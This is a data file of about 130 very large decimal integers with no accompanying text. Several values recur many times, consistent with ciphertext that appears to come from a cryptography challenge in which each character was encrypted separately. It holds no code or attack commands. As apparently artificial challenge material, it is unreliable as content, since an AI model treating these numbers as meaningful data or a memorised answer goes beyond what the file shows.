89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
93193845131988228644484899443386837473017866469422349255542037992094227046793693881682979131489608844822784059542911823214294551190035941959174418494660058831653040650832634034284220560765526772070524776041227316124183428503723250186862064463249419845278441607117428255167936507102806898566227917772967961794
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133604854587983782426336851966055180766137238380213738755612754580571873477141746262470197566499595456763533768810119497776657303036926536439596312800476267916952408133055363765789592858440156479910321961287737605889088257914313717722526470918375313652500001060195495792645858466367996395114867945227571389228
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
110846033891671427624857387537920448516392773897412999620646679750794626560907602986926959004781159264720122262321222811739313451983025907615882694007854707426003258465438618709429793385929912943788331348275371930738505303613153300384889406550278867097351842118941408769499935966795054196563209575850432039213
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
4182669348045269791254444104622750379376825748164589688688917405611067685879473543635386042921454535628915404264820793209948561919050475943517314854567616375314489289931988461469983115038328954579926992023989065641892802210559142402542318857874412395884224371766870024021473348650171148389070499526981719281
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
63954934982169968493375436708243549943337776790067035042049945803263896137705048991307667148505224485994939878827810471672893639994173854628637995888833872725682539891708902345134444873401804816245621659122305520079093134983775134753014016200774920370979508498502550221686538836022420428948530476432469293840
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
110846033891671427624857387537920448516392773897412999620646679750794626560907602986926959004781159264720122262321222811739313451983025907615882694007854707426003258465438618709429793385929912943788331348275371930738505303613153300384889406550278867097351842118941408769499935966795054196563209575850432039213
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
